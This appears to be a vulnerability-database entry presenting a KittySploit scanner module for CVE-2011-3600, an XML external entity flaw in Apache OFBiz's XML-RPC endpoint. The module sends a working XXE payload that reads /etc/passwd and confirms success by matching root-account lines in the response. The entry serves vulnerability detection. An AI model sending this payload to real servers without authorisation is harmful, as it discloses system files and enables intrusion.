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Apache OFBiz - XML External Entity Injection Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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XML External Entity Injection in Apache OFBiz /webtools/control/xmlrpc discloses files.

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26 Nov 201900:07
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26 Nov 201900:07
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7 Oct 202500:30
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nuclei
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Apache OFBiz - XML External Entity Injection
16 Oct 202602:05
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CVE-2011-3600
26 Nov 201901:15
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The /webtools/control/xmlrpc endpoint in OFBiz XML-RPC event handler is exposed to External Entity Injection b."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Apache OFBiz - XML External Entity Injection Detection',
        'description': 'The /webtools/control/xmlrpc endpoint in OFBiz XML-RPC event handler is exposed to External Entity Injection by passing DOCTYPE declarations with executable payloads that discloses the contents of files in the filesystem. In addition, it can also be used to probe for open network ports, and figure out from returned error messages whether a file exists or not. This affects OFBiz 16.11.01 to 16.11.04.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2011', 'apache', 'ofbiz', 'xxe', 'vuln', 'vkev'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://lists.apache.org/thread/cwz2v0b6pnxvqrnsd0hj3l80g9qq5kd8',
            'https://nvd.nist.gov/vuln/detail/CVE-2011-3600',
        ],
        'cve': 'CVE-2011-3600',
    }

    def run(self):
        path = '/webtools/control/xmlrpc'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/xml'}, data='<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file:////etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:', 'faultString',)
        if any(re.search(rx, body) for rx in body_regexes):
            self.set_info(severity='high', reason='Apache OFBiz - XML External Entity Injection detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 3.17.5
EPSS0.1591
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